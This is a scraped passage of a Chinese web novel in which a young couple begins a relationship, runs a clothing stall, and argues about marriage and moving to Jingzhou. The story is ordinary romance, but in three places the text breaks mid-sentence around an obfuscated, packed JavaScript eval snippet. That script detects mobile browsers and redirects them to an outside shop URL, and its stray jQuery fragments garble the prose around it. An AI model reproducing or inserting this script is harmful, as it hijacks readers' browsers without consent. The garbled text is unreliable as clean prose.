周衍东:“是,你不知道?” 程溪:“不知道,豪车我只认得出大奔和宝马。大奔那个标志很好记,宝马嘛,有个段子,说是求婚要送宝马,因为‘be my wife’!” 周衍东又是一声冷笑:“你要早认识他,也不至于这么穷,还能天天有豪车坐,不过,估计不能送你宝马了。” 程溪脑子没转过弯来,听不明白话里的潜台词:“什么意思啊?” 周衍东沉着脸:“他不会让你过这么苦的日子,但也不可能给你名正言顺的安稳日子。” 程溪越发不懂了,眉头拧得死紧,脖子往后缩了缩,与他隔开距离。 “为什么?你有话直说,绕来绕去的,我听不懂。” 周衍东沉默几秒,以一种平淡的语气轻声问道:“宋言喜欢你,自己感觉不到?” 程溪先是一愣,随即猛地坐起来,使劲推了推他。 “瞎说什么呢!可再不许胡说八道,你这是造谣!刚开始我都不知道他是公司大boss,快下车时才知道的。我们就是纯粹得不能再纯粹的上下级关系好吗!” 她吓得冷汗直冒。 在她即将入职的那所全球百强公司,作为董事长的宋言,地位之高不言而喻,程溪从未对他动过丝毫不纯的念头,并且坚信他也一样。 周衍东笑里透着无奈:“你还真是单纯透了。” 他其实想说的是蠢透了。 程溪搭在他胳膊上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042419|148917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手半轻不重地拧他一把。 “你吃醋就吃醋,别乱说话,要是被传出去被宋总听到,麻烦可就大了。” 周衍东:“随你怎么想,总之,跟他保持距离。” 程溪撇了撇嘴,点头答应,犹豫一会儿,还是将心里的困惑问出了口:“感觉你很讨厌宋总,为什么呀?” 今天之前,周衍东对宋言没什么想法,自打看见他送程溪回来,周衍东才发现这人就是个彻头彻尾的伪君子。 他没跟程溪说实话,也没将自己所知的关于宋言的情况告诉她,毕竟那些事儿说出来,她很可能要追问自己怎么知道的,这姑娘脑子一根筋,万一打破砂锅问到底,谎话都不好编,编多了还容易露馅,圆都没法圆。 周衍东暂且不想让程溪知道自己真实身份,关于宋言的某些事便装作不知,只冷冷说了一句:“就当我是吃醋吧。” 程溪不乐意:“什么叫‘就当’?你本来就是吃醋了好吗!” 他漫不经心敷衍:“嗯,醋坛子打翻,酸死了,你高兴了吧?睡觉。” 程溪哪里睡得着,乐呵呵左右翻身,然后紧紧抱住他胳膊,脸贴在他温热的手臂上。 “周衍东,我缺了二十多年的爱,感觉今晚一次性补回来了。”她闭着眼,笑容在黑暗中悄悄绽放。 活了二十二年,周衍东头一次跟女人亲近,正值年轻气盛,孤男寡女黑灯瞎火同睡一床就算了,她还非得贴这么近,呼吸之间,全是她洗发水和沐浴露的香气。 还有某种说不清道不明的,女性荷尔蒙气息。 血液在身体里乱涌,周衍东浑身燥热。 “别,你过去点儿,别贴着我。”他推开程溪。 “为什么呀?谈恋爱不就是要贴贴亲亲抱抱?”程溪又挨过来,红着脸撒娇。 周衍东往外挪了挪,程溪跟着他一起挪,最后他贴着床沿,长叹一声,忽地转过身子,手臂压在她肩上。 “想好了要给我?”他嗓子已经沙哑,声音透着压抑。 程溪身子瑟缩一下,懂装不懂:“啊?你、你说什么呀?” 周衍东倾身压过去,双臂撑在她身侧,俊脸逼近:“少来,你清楚得很。” 程溪别过头,这人偏要使坏,她往左边扭头,他便凑到左边,往右边扭,他紧跟着凑到右边,程溪臊得要命,紧闭着眼睛,大气不敢出。 男人薄唇凑到她耳边,唇瓣有意无意蹭着她耳垂。 “给还是不给,嗯?” 气息滚烫。 程溪身子发颤,有些害怕,也有些不知名的悸动。 “周衍东,你打算认真跟我谈恋爱,还是只想玩一玩?”她声音极小,最后一个字只剩气音。 男人置若罔闻,仍在热切追问:“给不给?” 程溪陷入沉默。 空调似乎完全没了作用,两个人贴身衣裤都被汗濡湿。 良久,程溪终于开口,颤着声,手也在发抖。 “周衍东,你认不认真我不知道,可我是认真的。” 她贴上了那张滚烫的薄唇。 10.第 10 章 两人贴得很近,黑暗之中,周衍东依然能看到程溪柔和的面部轮廓。 她紧闭着双眼,卷翘的睫毛蹭上他的双颊,弄得他发痒。 周衍东感觉自己的心脏似乎被什么东西拽住,不断地往上提,他不断地往上升,整个人就这么漂浮起来,像是踩在厚厚的云层里,身子轻飘飘的。 可是呼吸又那么重,那么沉,那么热。 程溪闭着眼吻他,他却始终睁着眼。 对于这个猝不及防的吻,周衍东先是惊讶,但很快便接受了,随即沉溺其中。 程溪吻得十分生涩。周衍东相信她没说谎,这姑娘的确是头一次谈恋爱,但凡有过什么情感经验,也不可能献上如此笨拙的吻。 周衍东也是第一次,没什么经验,她生涩地吻着他,他便生涩地回应。 两张白纸交叠在一起,从这一夜起,白纸上会不断浮现新的画面。这些饱含了酸甜苦辣的每个画面,都将成为周衍东往后人生中,最珍贵、最难忘的回忆。 许久以后,他想,自己无疑是爱程溪的,无比深爱。以至于分开后,不得不逼自己将她遗忘,像是一场血腥残暴的断尾,妄图斩断精神上与关于她的所有点滴的连接。 然而这场漫长的断尾行动,最终却随着女儿的到来,宣告失败。 他发现自己永远无法忘记程溪。 这种深刻的想念与爱意,早已藏进潜意识里,无需刻意表现,依然存活于心中,就像人从不需要刻意呼吸,而呼吸却总是悄然进行。 · 天蒙蒙亮,周衍东醒了。 看着身旁熟睡的姑娘,他俯身想在她脸颊上印下一个吻,薄唇渐渐贴近,最终却还是收回。 他怕弄醒她。 周衍东轻手轻脚起床穿衣服,迅速洗漱完,离开这间七平米的小屋子。 已经五点五十了,周衍东出发去进货。原本打算凌晨五点起床,昨晚两个人疯了大半夜,累得精疲力尽,到底还是起晚了。 路边有小摊贩推车卖早餐,周衍东买了两个馒头,一杯豆浆。 程溪熟识那位老奶奶也在,笑着问他吃不吃肠粉,他本想拒绝,为了照顾老奶奶生意,还是买了一份。 奔波活动一整天,吃饱了才有力气干活,周衍东一边想着,一边迅速解决完早餐,搭上第一班公交车。 车上人不多,他找了个靠窗的位置坐。朝阳初升,浅淡的金黄中带一点橘色的晨光落在他脸上,让他感觉自己仿佛被光芒亲吻着。 这吻如同程溪的吻,那么柔软,那么轻盈,那么充满爱意。 周衍东陷入了一种幸福的矛盾之中,一边像是漂浮在天空,幸福得找不着北,一边被一份沉甸甸的责任拴住,不断将他往地上拽,使他不自觉想要脚踏实地。 脚踏实地干什么? 脚踏实地赚钱,养活自己,给程溪更好的生活。 他依然坚信自己不会娶程溪,可是他想对程溪好。 想对她特别特别好。 程溪将自己那份毫无保留,毫不遮掩的爱完完全全给予他,无论为着何种原因,他也想全心全意对待她。 这女孩即便有数不清的缺点,可她了他全世界独一无二的爱,一想到这一点,一想到昨晚那个懵懂却热烈的女该,周衍东的心便软得一塌糊涂。 内心那片干涸了二十二年的荒漠终于找到了绿洲,他迎着晨光笑起来。 搭完公交还得转一趟地铁。清早的地铁仍然拥挤,周衍东没位置坐,被人挤到了车厢门口。 裤兜里的手机震了震,他掏出一看,程溪在社交平台上发来一连串消息。 好多张女装照片,衣服裙子裤子都有,款式各种各样。 程溪:【这些都是最近比较火的夏装款式,我在淘宝搜的,你照着这些款式进货吧,千万别进昨天你给我那条粉色裙子那种了!!!】 周衍东一手抓着扶杆稳住身子,一手捧着手机回复:【有这么难看?不至于吧……】 程溪:【有!至于!求你了,进点好看的吧T-T】 周衍东纳闷:【昨天其他衣服裙子跟这个差不多啊,怎么能卖那么好?】 程溪:【所以我说你是活招牌嘛~往那一站,什么东西都能卖得出去】 周衍东:【那我这也算是出卖色相了】 程溪:【可不是嘛!】 周衍东:【你会吃醋吗?】 程溪:【当然不会!要是能赚钱,尤其是赚大钱,出卖点色相也是可以的嘛~】 周衍东发过去一个瘪嘴表情,不太相信:【这么大度?】 程溪:【我可是很通情达理的,关于我的很多优点,慢慢相处你就知道了】 自恋。周衍东心里笑她,却丝毫不反感,只觉得可爱,扬起的唇角久久不落。 他转头看向窗外。地铁穿梭在黝黑隧道中,嘈杂声音穿入耳朵,周衍东忽然像是进入了一种悬空的状态,时间空间仿佛不存在,脑子里全是昨晚那灼热潮湿的画面,耳边也传来她娇滴滴的喘息。 好一会儿过去,周衍东拿起手机,打出一行字:【现在感觉难受吗?】 程溪没回复。 应该是去吃早餐了,他心里想,又发一条过去:【反正下周一才上班,今天就别出去了,在家躺着。】 周衍东捧着手机等新消息。 五分钟后程溪才回。 这五分钟于周衍东而言,漫长得像过了五十分钟。 程溪:【又没生病,干嘛一直躺着呀?我想出去逛逛】周衍东:【不疼了?】 程溪又过了三分钟才回:【别聊这个了行么……你到了?】 周衍东知道她害羞:【还没,在地铁上。要是疼就别走动。吃早餐了吗?】 程溪:【吃啦,豆浆油条,好开心!】 周衍东:【豆浆油条……昨晚没吃够?】 程溪:【你有完没完?!再说我生气了!!!】 周衍东都能想象她满脸通红气呼呼的模样,笑着飞快打字:【中午别出去吃,我给你打电话订外卖。要是还疼,回来时我买点儿药。】 程溪:【不疼了不疼了,你烦不烦,都说了别聊这个……】 周衍东:【哪哪儿都看了,什么都做了,害羞个什么劲儿?】 程溪发来一个爆炸表情,没再搭理他。 他最后发了句【好好休息】便收起手机,开始思考接下来的赚钱计划。 到达服装批发市场时,周衍东脑子里已经拟定好一个完整的短期摆摊计划。 其实想这个计划只用了几分钟,他发现自己似乎真如程溪所说,是块做生意的好料子。 想到程溪,周衍东唇角不自觉上扬,这姑娘给了他许多无形却十分有益的东西,比如信心,比如希望,比如无穷无尽的力量。 这天周衍东带上了一千六百块本金,进货数量比昨天多,款式是照着程溪发来的那些图片选的。对于程溪的审美,周衍东表示怀疑,不过想了想,这是卖女装,作为女人,她应该比自己更懂女人的喜好。 按部就班进完货打道回府,周衍东没在小出租屋里看见程溪,给她打电话也没接。 周衍东看看时间,快十一点半了,他猜她是去吃午饭,在家等了没一会儿,她便回来了,手里拎着一个塑料袋。 “吃饭去了?”周衍东走到门口迎她。 这么小的地儿,三两步便到了,没必要迎人,可他就是不自觉迈开脚步向她走去。 “没呢,买饭去啦!”她从袋子里掏出两盒方便面,“当当当当!给你买了上次那种红烧牛肉味,我吃香辣味。” 生日那晚关于泡面的回忆涌入恼火,那股齁死人的味精味儿仿佛飘荡在空中,周衍东眉头紧皱。 “咱们中午就吃这个?” 程溪摇摇头:“NoNoNo!还有两个茶叶蛋!” 周衍东:“方便面配茶叶蛋,这也叫午饭?” 程溪:“怎么不能叫午饭?多好吃呀!简直不要太奢侈!” 她拿出红烧牛肉味那碗,撕开外面的透明塑料膜,正要撕盖子,泡面忽然被周衍东抢走,咣当放桌上。 周衍东拽着程溪往门口走:“出去吃。” 程溪不肯:“买都买了!” 周衍东:“那就放着以后吃。” 程溪:“你出去吃吧,我吃泡面就行。” 周衍东看着他,摇头苦笑:“想什么呢?怎么能让你一个人在家吃泡面。 程溪也摇了摇头:“泡面挺好吃的呀,我小时候想吃还吃不起呢!” 周衍东知道她家穷,没想到这么穷,自己不屑一顾吃的东西,竟然还有人吃不起。 他心情复杂地看了她一会儿,握紧那只比自己小了许多的手,坚定地带着她往外走。 “以后我吃什么你吃什么,记住了,程溪。” 程溪低头不作声,双颊红透。 “你想吃什么?”她问。 周衍东:“随便,反正得吃点好的。” 程溪:“才赚了六百块就这么奢侈啊?” 周衍东扬了扬下巴:“六百块只是个开始,今天少说。赚一千六。” 程溪两眼放光:“真的假的啊,能翻两倍多?” 周衍东笑道:“当然,一千六都说少了,只是保底,冲一冲能奔一千八去。” 程溪眼睛瞪得更大,高兴得跳起来,搂住他脖子,笑容如夏花灿烂。 “周衍东,你可比我想象的厉害多了!” 他哼笑一声,眨了眨眼,问:“程溪你信么,我以后能赚六十万,六百万,六千万,六个亿,六十亿,甚至六百亿。” 程溪不说话,仰脸笑着瞧他。 他当她是不信的,片刻后却见她点了点头。 “我信。”程溪认真说道。 周衍东倒是不信了,微微扬起剑眉:“真信假信?” 程溪很重地点一下头:“真的相信!别说六百亿了,就是六千亿你也能赚到!” 周衍东噗嗤笑出声:“过了啊程溪,有点儿过了,你也太瞧得起我了,我看你就是打心底里不信。” 程溪揪住他两边耳朵:“六百亿的梦都做了,6,000亿的梦怎么不敢做?不过你想好以后怎么赚大钱了吗,打算做服装品牌,创立公司,把自己的牌子做大做强?” 周衍东摇摇头:“以后不卖服装。” 程溪:“那干什么??” 周衍东淡笑,没往下说,牵着她的手走出门外。 中午这顿吃的是快餐。 一开始程溪嫌贵,走到店门口调头想走,被他拽了回来。 周衍东点了店里最贵的两份套餐,有肉有菜,有汤有饭。 虽然价格比以往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045304|148917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃过的山珍海味便宜得多,可不知怎么,滋味儿却美得让周衍东印象深刻。 或许是太久没有好好吃上一顿饭,又或许是,陪他一起吃饭的这个姑娘叫程溪,所以这顿快餐才会令他如此难忘。 下午程溪要陪着一块儿出摊,周衍东不让,让她在家休息。 程溪闲得无聊,抓着他胳膊撒娇:“没什么好休息的,反正我也不累,就陪你卖货呗。” 周衍东:“怎么不累?昨晚都没怎么睡。” 程溪小脸通红,轻轻拧他一把:“都怪你,一直折腾……” 周衍东笑得痞浪,凑到她耳边:“确实怪我。所以你得好好休息,这样晚上才有精力陪我继续折腾。” 程溪推开他,捂着脸倒在床上,弓起身子背对着他。 “快走吧你,少拿话调戏我!” 一只大手伸过来,温热的掌心搭在她腰上,轻轻蹭了蹭。 周衍东:“调戏你还要‘拿话’?我都是直接动手。” 程溪臊得慌,推开他的手,假装嫌弃:“快走快走,烦死你了。” 周衍东起身走到门口,停下脚步扭头瞧着她:“那我走了啊,再也不回来了。” 程溪凶巴巴嚷道:“你敢!” “我可不敢。”他贫够了,走出去轻轻将门带上,脸上挂着笑意离开。 这次进的货款式漂亮多了,数量也多,周衍东开价比昨天大胆,果真如他所料,赚的是昨天的三倍。 他满心欢喜带着今天的收获回到那个拥挤狭窄,却让他感受到前所未有的幸福的小出租屋,将这一千八百块交到程溪手里时,程溪难以置信,惊叫一声,捧着钱开心得直蹦哒。 周衍东摸摸她脑袋,笑她没见过世面:“瞧你这点儿出息。” 程溪激动得声音都颤了:“天呐,周衍东,你两天就赚了两千四?!” 他点点头,没觉得赚这点钱有多大能耐:“我在网上买了更大的落地架,又批了一些衣架,明天进完货换个地方摆摊儿。” 程溪:“干嘛换地方?” 周衍东:“上午进货回来路过一条街,那边人流量特别大,随便什么摊位都有生意。” 程溪:“人家那边早就摆满摊子了,你去还有地方摆吗?” 周衍东:“看看呗,明儿我早点去。” 程溪:“我陪你一起。” 周衍东摇了摇头,照例拒绝:“老实在家歇着吧。” 程溪叹气,撅着嘴,满脸不乐意。 “老是叫我歇歇歇,有什么好歇的呀!” 周衍东歪头瞧着她,不说话。 程溪伸出食指在他胸膛胡乱点来点去。 “我不管,就要跟你去卖货!总不让我去,老实交代,是不是想背着我勾搭小姑娘?” 周衍东乐了:“勾搭谁呀!我有你一个都费劲。” 程溪没明白话里的深意,不服气:“我怎么让你费劲啦?我多懂事儿呀,怕你一个人太辛苦,想陪着你去卖货,有什么错?” 周衍东薄唇凑到她耳边,几乎气声:“晚上费劲。” 程溪脸颊刷地红透,蹙眉瞪着他:“哎呀,你怎么总说这些!周衍东,之前可没看出来你这么不正经!” 他笑起来,曲着手指在她发烫的面庞上蹭了蹭。 “这些话只对你说。” 程溪不好意思看他,低着头小声开口:“真的?骗我是狗?” 周衍东收起神情中的痞浪,以一种前所未有的严肃语气说道:“我这人吧,虽然挺不解风情的,但有一点可以保证,程溪,我会对你专一。” 程溪看着他,问:“那你以后,会娶我吗?” 周衍东愣了愣,好半天没说话。 那双看着他的眼睛在沉默中升起雾气。 周衍东慌了神,捧起她脸颊,柔声说道:“现在说这个还太远,我没法跟你承诺太多,这不代表咱们在一起时,我不是真心的。” 程溪点点头:“懂了。” 他是不会娶她的。程溪其实很聪明。 “你先洗个澡,我下去买东西,顺便带晚饭上来。”周衍东转身要走,被她轻轻抓住。 “买什么?”她红着眼眶问。 周衍东知道自己刚才那话伤了她,假装没注意到她眼里含着的泪,低头看着地板:“买套,总不能一直临了弄到外边儿,不安全。” 程溪轻轻抽一口气。 “我没吃药,会不会怀孕啊……”恐惧忽然涌上心头,她颤着声问。 周衍东俯身亲了亲她,淡笑着安慰:“别怕,我之前都很注意,不会怀上。” 程溪眼泪汪汪:“万一呢?万一就是怀上了呢?” 周衍东面色一僵,浅淡笑意退了下去,眉心微皱,摇了摇头。 “程溪,怀上了不能生。” “为什么不能?” 他捧着她的脸,无法直视这双蓄满泪水的杏眼,别过头去,沉默半晌,声音压得很低:“没有为什么。” 程溪眼泪夺眶而出:“什么叫‘没有为什么’?周衍东,你什么意思?” 周衍东仍是不敢看她:“就是字面意思。” 程溪嘴一撇,哭出声来。 他俯身抱住她,不住地亲吻她耳垂:“乖,听话。” 后来好多好多次,他总是用这句“乖,听话”来哄她。 11.第 11 章 周衍东从没见过像程溪这么能哭的人。 他不懂,这姑娘哪来这么多眼泪,又为什么这么爱哭,那会儿的他还不知道,其实程溪并不是一个动不动就哭的小姑娘。 相反,她内心坚强到周衍东难以想象。 这个有着圆圆的脸蛋,可爱的杏眼,外表看上去比实际年龄要小几岁的柔柔弱弱的姑娘,实则内心有着一个无比强大的内核——这是周衍东后来才知道的事。 而当程溪在他怀里哭个不停时,他只觉得心疼,又有些烦躁。 他替她抹泪,哄了好一会儿,眼泪仍是不住地往下掉。他不知怎样才能把她哄好,见她这楚楚可怜的样儿,怜惜中生出几分愧疚。 回想自己的所作所为,还有刚才那些话了,周衍东知道自己不是个东西,可他能怎么办? 命运让两个错的人在错的时间相遇,而她又是如此主动如此热烈,周衍东无法抗拒程溪,就像无法抵抗那个称之为命运的东西。 不知过了多久,程溪止住眼泪。 她没有被他哄好,只是哭得累了,肚子咕咕叫,没力气再哭,于是抹抹脸上的泪,吸吸鼻子,带着浓重的鼻音开口:“快下去买饭吧,我饿了。” 周衍东捧着程溪的脸,薄唇落在额头上,双手从她的脸颊缓缓移到柔软的脖颈,指腹轻轻在她颈上蹭着。 “我不在的时候,一个人在家可不许偷偷哭,听到了吗?”他语气有些凶,声音却温柔得很。 程溪点点头:“听到了。” 周衍东揉揉她脑袋,笑了笑:“乖。” 附近有家装修还算不错的小餐馆,价格比周围别家馆子贵一些,周衍东扫一眼菜单,指着炖汤系列问服务员哪种汤最滋补。 服务员:“你喝吗?” 周衍东摇头:“年轻女孩儿喝。” 服务员微微扬眉,眼神有一丝深意,似乎在憋笑,介绍道:“党参当归乌鸡汤很补的,当归鸽子汤也非常适合女生喝。” 周衍东:“一样来一份打包。” 服务员好心提醒:“今天一次性喝完吗?” 周衍东:“不可以?” 服务员解释:“这两种汤都非常滋补,同时喝很可能会上火,最好是一次只喝一种。” 周衍东听劝,点点头:“那来乌鸡汤。” 他又点了两份饭菜,利用等饭的时间去了趟药店买套。 回来时见程溪眼眶红红的,周衍东心里不是滋味儿,明明是心疼她,说出来的话却像是埋怨。 “怎么又哭了?” 程溪撇撇嘴:“没哭。” 周衍东:“没哭眼睛怎么这么红?” 程溪低着头嘟囔:“之前哭了太久了嘛!你让不哭我就不哭了,你不在的时候我可一滴泪都没掉。” 他笑笑,轻轻捏了捏她脸颊:“真乖。” 程溪斜眼瞪他一下,起身走到桌边:“饿死啦,吃饭!” 周衍东替她拆开饭盒,磨了磨一次性筷子递给她。 “先吃饭还是先喝汤?”他问,将乌鸡汤的碗盖打开。 程溪开心拍手:“哇,还有汤!怎么有股药味?” 周衍东:“加了药材,有党参和当归,这玩意儿滋补身体。” 程溪不理解:“又没坐月子,滋补什么呀?” 周衍东说:“这不是怕你虚吗?” 他眼神若有深意,语气虽然关切,却含着那么点儿不正经,程溪一下就明白这人什么意思,红着脸端起汤碗喝一口,眉头蹙得老深。 “不行,药味太重了,我受不了……” 周衍东从她手中拿过碗,浅尝一口:“还行啊,确实有点儿中药味,但也不至于难以下咽吧?” 程溪鼓着腮帮子瞪他:“至于!” 周衍东,端着碗喂到她嘴边,柔声哄:“乖,慢慢儿喝。” 程溪别过脸,嘴撅得老高:“不要不要!还慢慢儿喝?简直就是延长我受折磨的时间!” 周衍东笑道:“那就快快喝,一口气喝完。” 他又将碗凑到她唇边。 见躲不过,程溪只得听话乖乖喝完。 周衍东抽出一张纸巾擦掉她唇角漏出的汤汁,哄小孩儿似的笑着夸道:“真棒。” 程溪紧锁的眉头就没舒 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周衍东看了她一会儿,点点头:“当然当真,等着吧。” 一个月后,程溪喝到了周衍东亲手炖的鸽子汤。 他们从七平米单间搬进了三十平米的公寓,上下楼有电梯,再也不用吭哧吭哧爬楼梯。 公寓虽小,五脏俱全,带了个厨房可以自己做饭。 周衍东靠摆摊卖服装,一个月赚了三万。 搬进公寓第一天,周衍东捧着鸽子汤,拿勺子一口一口喂程溪喝。 “咱们以后会有属于自己的大房子。”他吹了吹勺里的汤,递到程溪嘴边。 程溪笑笑:“我就知道跟着你没错!” 喂完最后一口,周衍东放下碗,看着她。 “程溪,我要给你买别墅,房产证只写你名儿。” 她笑得越发开心,学着他京腔口音:“我谢谢您!” 周衍东握住她的手,十指相扣:“等我攒够二十万,咱们回京州。” 12.第 12 章 其实周衍东立刻就想回京州。 那里是他出生成长的地方,尽管十六岁便出国留学,对于京州,他依然有着深刻的感情。 那是他和他们整个家族的根基所在。 然而现实并不允许他这么快回去,原因很简单,在京州,来自周家的束缚可比在广城要大得多。 在广城他还能摆摆摊捞快钱,要是回了京州,估计上午出摊,下午摊子就被端了,不消说,幕后黑手必定是他亲爹。摊子都没法摆,更别提进公司。大公司指定进不去,小公司进去了也赚不了几个钱。 思来想去,只有老老实实留在广城赚本金这条路好走。 广城是不可能长待的,他给自己订了个目标——赚够二十万回京州。 把这个计划告诉程溪前,周衍东以为,她会毫不犹豫答应跟回去。 毕竟在一起以来,无论大事小事她几乎都听他的,乖得不像话。 这种乖顺让周衍东不知不觉有些飘飘然,也无意识地深陷其中,开始依赖这种乖顺带给自己的安心感,以至于当程溪对这个计划摇头时,他惊讶得想不通。 “你自己回去吧,我不去京州。”程溪看着他,脸上表情很淡,语气也淡。 然而这个淡淡的拒绝,却让周衍东感受到她内心无可动摇的坚定。 分歧刚一开始,周衍东便察觉出问题的严重性。 “为什么?”他皱起眉头,问。 程溪:“我转正了,以后踏踏实实留在言辉干,大家都夸我工作能力强,未来很有潜力,很看好我呢,去京州不就得辞职,离开言辉吗?本来能进言辉就是撞了大运,再想进这么厉害的公司,以我现在的学历文凭和工作经验,你觉得可能吗?” 周衍东:“等咱们回了京州,开个小公司,咱俩合伙,我给你股份,你不用怎么努力,不去上班都成,我养得起。” 程溪没答应也没拒绝,话锋一转,忽然问:“我要是跟你去京州,你会娶我吗?” 他不作声了。 程溪:“没逼你一到京州立马跟我领证,咱们先打拼几年,等以后各方面都稳定了再结婚。” 两人默默对望,半晌,程溪笑起来,几分苦涩无奈。 “说到底,你还是不愿意跟我结婚,看不上我呗?” 她将手从他手里抽出来。 周衍东立马又握住那只手。 他一握,她便挣,他用了些力道,使她挣不开,只能由着他这么紧握。 “不是看不看得上的事儿,要真看不上你,我能跟你在一起?程溪,别想这么远好么?” 程溪又笑了,语气自嘲:“当初跟我在一起,是被赶鸭子上架逼到没法儿了。我各方各面都比你差得远,跟了你实数高攀,你不愿意娶我,不想跟我一辈子拴一块也正常。” 听她这么贬低自己,周衍东心里难受至极,摇着头否认,可无论说什么,都显得苍白无力,没法让她相信。 “程溪,两个人在一起,为的就是比一个人时更开心,更幸福,咱俩恋爱以后,确实比单身时过得愉快,这还不够么?婚姻只是一张具有法律效益的纸罢了,咱俩感情好才最重要,我见过太多太多合法夫妻感情破裂,他们之间有且仅有一个合法丈夫合法妻子的名头,在家里吵作一团,在外边儿各玩各的,这种婚姻生活,这种日子,过着又有什么意思?” 程溪面无表情听他说完,依然摇头。 她看着他,目光平静且坚定。 “可是你怎么知道咱俩结婚后会跟他们一样呢,周衍东?”她往后捋了捋头发,淡笑,“万一咱俩的婚姻生活很美满呢?这段时间我算是看出来了,你以前家庭条件应该非常不错,虽然你总不肯说家里的事,可我不是傻子,我知道你从小就被富养。” 她停下来,转脸看向别处,片刻后又将目光落到他脸上。 “你提起京州时,说的是‘回’,我说的是‘去’。于你而言,京州是熟悉的家乡,于我,京州是陌生的他乡。如果我放弃现在这么好的工作跟着你奔赴一个自己从没去过,也没有任何社交圈子的地方,而你却连一句娶我的承诺都不愿意给,这会让我显得特别特别可笑。在你心里,我——” 她深吸一口气,垂眸不看他,苦笑着轻轻摇头:“我是什么很贱的人吗?” 周衍东低头陷入沉默,好半天不作声。 再开口时,他抬起眼皮看向程溪:“我从来没有说过这话,也从没有过这种想法。” 程溪吸吸鼻子:“可你的所作所为,传递给我了这种感觉。” 周衍东苦笑:“那你可误会大发了。” 程溪叹气:“周衍东,我没跟你开玩笑。” 他面色严肃:“难道我有开玩笑?你觉着我不是在跟你好好沟通?” 趁他没留神,程溪用力甩开他的手,从沙发上起身。 “我困了,先去洗澡睡觉了,这事以后再说吧,你什么时候赚到二十万还不一定呢。” 望着她上楼的背影,周衍东薄唇紧抿。 卧室在二楼,这套公寓虽然比七平米的小单间住着舒服许多,可也算不上宽敞,从小住惯了豪宅的周衍东自然住得不自在。 他对财富和权力有着本能的渴望,这是周家人血液里流淌的东西。 是他无论如何也不能否认和抗拒的事实。 他与父母在自己的就业方向上产生了巨大分歧,父母希望他继承家业,接管父辈打拼大半辈子的产业,而他只想发挥专长,搞互联网。 与父母有分歧,不代表他没有野心。 他的野心,甚至比父辈们还要大,只是不被他们理解罢了。 他也不需要他们理解。 即便没有任何人理解自己,即便经历短暂的挫折和失败,他依然斗志昂扬地混得风生水起——直到遇上程溪。 直到程溪不愿意跟他回京州。 那一晚,他独自在客厅坐了许久。 他多希望程溪能理解他,理解他对她的喜欢和不舍,也理解他对与她步入婚姻的恐惧和抗拒。 他承认,和程溪在一起的时光很快乐,程溪是他的开心果,是他这段落魄时光的希望和力量源 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14094028|148917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泉,他们幸福而甜蜜,如胶似漆。 然而,那一对恋人刚在一起时,不是这样呢? 短短一个月的相处,就要定下两个人的一生吗?这在周衍东看来,太莽撞,太疯狂,也太愚蠢了。 现在矛盾已经显现,并且是难以调和的矛盾,谁都不愿让步,对于两人的未来,周衍东越发没有信心。 他明白自己和程溪终归要分手,却又不想这么快闹掰。 世界上大把的姑娘,要颜值有颜值,要身材有身材,要能力有能力,比程溪优秀的女孩子太多太多了,然而,程溪给予他的那份纯粹而热烈的感情,未必有人给得起。 这一晚,周衍东是在沙发上睡的,醒来时,他发现自己身上多了条毯子。 他看看时间,九点半,程溪早已去上班,毯子应该是她出门前给他盖上的。 周衍东心下感动,随即涌起愧疚。 即便昨晚闹得这么不愉快,即便对于娶她这事自己无论如何也不松口,她仍会心疼他,关心他。 这样好的一个女孩儿,后来还是把她弄丢了。 夜里周衍东收摊回来,程溪依然不在家,也没给他发消息打电话。 以往如果加班,她都会告诉他的。 周衍东发消息过去,程溪没回,打了好几个电话,没人接,他放心不下,准备去言辉接她,刚出公寓楼便看到一辆迈巴赫停在外面。 宋言从后座下来,弯腰将醉醺醺的程溪扶出车里。 周衍东瞬间血往天灵盖涌,心里升起怒火,面上却冷若寒霜。 “宋言,离她远点儿。”他走过去,从宋言手中抢走程溪。 程溪不知喝了多少,烂醉如泥,软趴趴靠着他,脸和脖子都红了。 宋言抬眸看向周衍东,似笑非笑:“东子,女朋友我给你送到了,不用谢。” 周衍东攥紧拳,脸上没什么表情,一字一句骂得清晰:“你他妈别犯贱。” 宋言咧嘴笑了笑,扭头看看别处,又转过脸来,看着周衍东:“跟家里闹掰了?听哥一句劝,犯不着。” 周衍东懒得搭理他,抱着程溪往楼里走,听见他在身后开口。 “东子,好好跟家里认个错,甭管怎么说,周叔也是为你好。你跟程溪处不长,你俩不会有结果的。”宋言也是京州人,这些年长居外地,说话时刻意收了收京味儿,在周衍东面前,又是一口京片子。 